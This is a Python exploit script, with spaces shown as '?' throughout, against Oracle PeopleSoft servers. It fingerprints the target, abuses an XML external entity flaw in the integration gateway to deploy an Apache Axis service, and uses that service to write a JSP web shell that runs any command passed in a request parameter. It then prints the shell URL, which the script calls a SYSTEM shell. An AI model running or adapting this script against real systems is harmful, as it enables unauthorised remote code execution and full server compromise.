import?requests
import?urllib.parse
import?re
import?string
import?random
import?sys
from?requests.packages.urllib3.exceptions?import?InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
try:
????import?colorama
except?ImportError:
????colorama?=?None
else:
????colorama.init()
????COLORS?=?{
????????'+':?colorama.Fore.GREEN,
????????'-':?colorama.Fore.RED,
????????':':?colorama.Fore.BLUE,
????????'!':?colorama.Fore.YELLOW
????}
URL?=?sys.argv[1].rstrip('/')
CLASS_NAME?=?'org.apache.pluto.portalImpl.Deploy'
PROXY?=?'localhost:8080'
PAYLOAD?=?'<%@?page?import="java.util.*,java.io.*"%><%?if?(request.getParameter("c")?!=?null)?{?Process?p?=?Runtime.getRuntime().exec(request.getParameter("c"));?DataInputStream?dis?=?new?DataInputStream(p.getInputStream());?String?disr?=?dis.readLine();?while?(?disr?!=?null?)?{?out.println(disr);?disr?=?dis.readLine();?};?p.destroy();?}%>'
class?Browser:
????"""Wrapper?around?requests.
????"""
????def?__init__(self,?url):
????????self.url?=?url
????????self.init()
????def?init(self):
????????self.session?=?requests.Session()
????????self.session.proxies?=?{
????????????'http':?PROXY,
????????????'https':?PROXY
????????}
????????self.session.verify?=?False
????def?get(self,?url?,*args,?**kwargs):
????????return?self.session.get(url=self.url?+?url,?*args,?**kwargs)
????def?post(self,?url,?*args,?**kwargs):
????????return?self.session.post(url=self.url?+?url,?*args,?**kwargs)
????def?matches(self,?r,?regex):
????????return?re.findall(regex,?r.text)
class?Recon(Browser):
????"""Grabs?different?informations?about?the?target.
????"""
????def?check_all(self):
????????self.site_id?=?None
????????self.local_port?=?None
????????self.check_version()
????????self.check_site_id()
????????self.check_local_infos()
????def?check_version(self):
????????"""Grabs?PeopleTools'?version.
????????"""
????????self.version?=?None
????????r?=?self.get('/PSEMHUB/hub')
????????m?=?self.matches(r,?'Registered?Hosts?Summary?-?([0-9\.]+).</b>')
????????if?m:
????????????self.version?=?m[0]
????????????o(':',?'PTools?version:?%s'?%?self.version)
????????else:
????????????o('-',?'Unable?to?find?version')
????def?check_site_id(self):
????????"""Grabs?the?site?ID?and?the?local?port.
????????"""
????????if?self.site_id:
????????????return
????????r?=?self.get('/')
????????m?=?self.matches(r,?'/([^/]+)/signon.html')
????????if?not?m:
????????????raise?RuntimeError('Unable?to?find?site?ID')
????????self.site_id?=?m[0]
????????o('+',?'Site?ID:?'?+?self.site_id)
????def?check_local_infos(self):
????????"""Uses?cookies?to?leak?hostname?and?local?port.
????????"""
????????if?self.local_port:
????????????return
????????r?=?self.get('/psp/%s/signon.html'?%?self.site_id)
????????for?c,?v?in?self.session.cookies.items():
????????????if?c.endswith('-PORTAL-PSJSESSIONID'):
????????????????self.local_host,?self.local_port,?*_?=?c.split('-')
????????????????o('+',?'Target:?%s:%s'?%?(self.local_host,?self.local_port))
????????????????return
????????raise?RuntimeError('Unable?to?get?local?hostname?/?port')
class?AxisDeploy(Recon):
????"""Uses?the?XXE?to?install?Deploy,?and?uses?its?two?useful?methods?to?get
????a?shell.
????"""
????def?init(self):
????????super().init()
????????self.service_name?=?'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR'?#self.random_string(10)
????def?random_string(self,?size):
????????return?''.join(random.choice(string.ascii_letters)?for?_?in?range(size))
????def?url_service(self,?payload):
????????return?'http://localhost:%s/pspc/services/AdminService?method=%s'?%?(
????????????self.local_port,
????????????urllib.parse.quote_plus(self.psoap(payload))
????????)
????def?war_path(self,?name):
????????#?This?is?just?a?guess?from?the?few?PeopleSoft?instances?we?audited.
????????#?It?might?be?wrong.
????????suffix?=?'.war'?if?self.version?and?self.version?>=?'8.50'?else?''
????????return?'./applications/peoplesoft/%s%s'?%?(name,?suffix)
????def?pxml(self,?payload):
????????"""Converts?an?XML?payload?into?a?one-liner.
????????"""
????????payload?=?payload.strip().replace('\n',?'?')
????????payload?=?re.sub('\s+<',?'<',?payload,?flags=re.S)
????????payload?=?re.sub('\s+',?'?',?payload,?flags=re.S)
????????return?payload
????def?psoap(self,?payload):
????????"""Converts?a?SOAP?payload?into?a?one-liner,?including?the?comment?trick
????????to?allow?attributes.
????????"""
????????payload?=?self.pxml(payload)
????????payload?=?'!-->%s'?%?payload[:-1]
????????return?payload
????def?soap_service_deploy(self):
????????"""SOAP?payload?to?deploy?the?service.
????????"""
????????return?"""
????????<ns1:deployment?xmlns="http://xml.apache.org/axis/wsdd/"
????????xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
????????xmlns:ns1="http://xml.apache.org/axis/wsdd/">
????????????<ns1:service?name="%s"?provider="java:RPC">
????????????????<ns1:parameter?name="className"?value="%s"/>
????????????????<ns1:parameter?name="allowedMethods"?value="*"/>
????????????</ns1:service>
????????</ns1:deployment>
????????"""?%?(self.service_name,?CLASS_NAME)
????def?soap_service_undeploy(self):
????????"""SOAP?payload?to?undeploy?the?service.
????????"""
????????return?"""
????????<ns1:undeployment?xmlns="http://xml.apache.org/axis/wsdd/"
????????xmlns:ns1="http://xml.apache.org/axis/wsdd/">
????????<ns1:service?name="%s"/>
????????</ns1:undeployment>
????????"""?%?(self.service_name,?)
????def?xxe_ssrf(self,?payload):
????????"""Runs?the?given?AXIS?deploy/undeploy?payload?through?the?XXE.
????????"""
????????data?=?"""
????????<?xml?version="1.0"?>
????????<!DOCTYPE?IBRequest?[
????????<!ENTITY?x?SYSTEM?"%s">
????????]>
????????<IBRequest>
???????????<ExternalOperationName>&x;</ExternalOperationName>
???????????<OperationType/>
???????????<From><RequestingNode/>
??????????????<Password/>
??????????????<OrigUser/>
??????????????<OrigNode/>
??????????????<OrigProcess/>
??????????????<OrigTimeStamp/>
???????????</From>
???????????<To>
??????????????<FinalDestination/>
??????????????<DestinationNode/>
??????????????<SubChannel/>
???????????</To>
???????????<ContentSections>
??????????????<ContentSection>
?????????????????<NonRepudiation/>
?????????????????<MessageVersion/>
?????????????????<Data>
?????????????????</Data>
??????????????</ContentSection>
???????????</ContentSections>
????????</IBRequest>
????????"""?%?self.url_service(payload)
????????r?=?self.post(
????????????'/PSIGW/HttpListeningConnector',
????????????data=self.pxml(data),
????????????headers={
????????????????'Content-Type':?'application/xml'
????????????}
????????)
????def?service_check(self):
????????"""Verifies?that?the?service?is?correctly?installed.
????????"""
????????r?=?self.get('/pspc/services')
????????return?self.service_name?in?r.text
????def?service_deploy(self):
????????self.xxe_ssrf(self.soap_service_deploy())
????????if?not?self.service_check():
????????????raise?RuntimeError('Unable?to?deploy?service')
????????o('+',?'Service?deployed')
????def?service_undeploy(self):
????????if?not?self.local_port:
????????????return
????????self.xxe_ssrf(self.soap_service_undeploy())
????????if?self.service_check():
????????????o('-',?'Unable?to?undeploy?service')
????????????return
????????o('+',?'Service?undeployed')
????def?service_send(self,?data):
????????"""Send?data?to?the?Axis?endpoint.
????????"""
????????return?self.post(
????????????'/pspc/services/%s'?%?self.service_name,
????????????data=data,
????????????headers={
????????????????'SOAPAction':?'useless',
????????????????'Content-Type':?'application/xml'
????????????}
????????)
????def?service_copy(self,?path0,?path1):
????????"""Copies?one?file?to?another.
????????"""
????????data?=?"""
????????<?xml?version="1.0"?encoding="utf-8"?>
????????<soapenv:Envelope?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
????????xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
????????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
????????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
????????<soapenv:Body>
????????<api:copy
????????soapen>
????????????<in0?xsi:type="xsd:string">%s</in0>
????????????<in1?xsi:type="xsd:string">%s</in1>
????????</api:copy>
????????</soapenv:Body>
????????</soapenv:Envelope>
????????""".strip()?%?(path0,?path1)
????????response?=?self.service_send(data)
????????return?'<ns1:copyResponse'?in?response.text
????def?service_main(self,?tmp_path,?tmp_dir):
????????"""Writes?the?payload?at?the?end?of?the?.xml?file.
????????"""
????????data?=?"""
????????<?xml?version="1.0"?encoding="utf-8"?>
????????<soapenv:Envelope?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
????????xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
????????xmlns:xsd="http://www.w3.org/2001/XMLSchema"
????????xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
????????<soapenv:Body>
????????<api:main
????????soapen>
????????????<api:in0>
????????????????<item?xsi:type="xsd:string">%s</item>
????????????????<item?xsi:type="xsd:string">%s</item>
????????????????<item?xsi:type="xsd:string">%s.war</item>
????????????????<item?xsi:type="xsd:string">something</item>
????????????????<item?xsi:type="xsd:string">-addToEntityReg</item>
????????????????<item?xsi:type="xsd:string"><![CDATA[%s]]></item>
????????????</api:in0>
????????</api:main>
????????</soapenv:Body>
????????</soapenv:Envelope>
????????""".strip()?%?(tmp_path,?tmp_dir,?tmp_dir,?PAYLOAD)
????????response?=?self.service_send(data)
????def?build_shell(self):
????????"""Builds?a?SYSTEM?shell.
????????"""
????????
????????
????????
????????
????????
????????pivot?=?'/%s.jsp'?%?self.random_string(20)
????????pivot_path?=?self.war_path('PSOL')?+?pivot
????????pivot_url?=?'/PSOL'?+?pivot
????????#?1:?Copy?portletentityregistry.xml?to?TMP
????????per?=?'/WEB-INF/data/portletentityregistry.xml'
????????per_path?=?self.war_path('pspc')
????????tmp_path?=?'../'?*?20?+?'TEMP'
????????tmp_dir?=?self.random_string(20)
????????tmp_per?=?tmp_path?+?'/'?+?tmp_dir?+?per
????????if?not?self.service_copy(per_path?+?per,?tmp_per):
????????????raise?RuntimeError('Unable?to?copy?original?XML?file')
????????#?2:?Add?JSP?payload
????????self.service_main(tmp_path,?tmp_dir)
????????#?3:?Copy?XML?to?JSP?in?webroot
????????if?not?self.service_copy(tmp_per,?pivot_path):
????????????raise?RuntimeError('Unable?to?copy?modified?XML?file')
????????response?=?self.get(pivot_url)
????????if?response.status_code?!=?200:
????????????raise?RuntimeError('Unable?to?access?JSP?shell')
????????o('+',?'Shell?URL:?'?+?self.url?+?pivot_url)
class?PeopleSoftRCE(AxisDeploy):
????def?__init__(self,?url):
????????super().__init__(url)
def?o(s,?message):
????if?colorama:
????????c?=?COLORS[s]
????????s?=?colorama.Style.BRIGHT?+?COLORS[s]?+?'|'?+?colorama.Style.RESET_ALL
????print('%s?%s'?%?(s,?message))
x?=?PeopleSoftRCE(URL)
try:
????x.check_all()
????x.service_deploy()
????x.build_shell()
except?RuntimeError?as?e:
????o('-',?e)
finally:
????x.service_undeploy()
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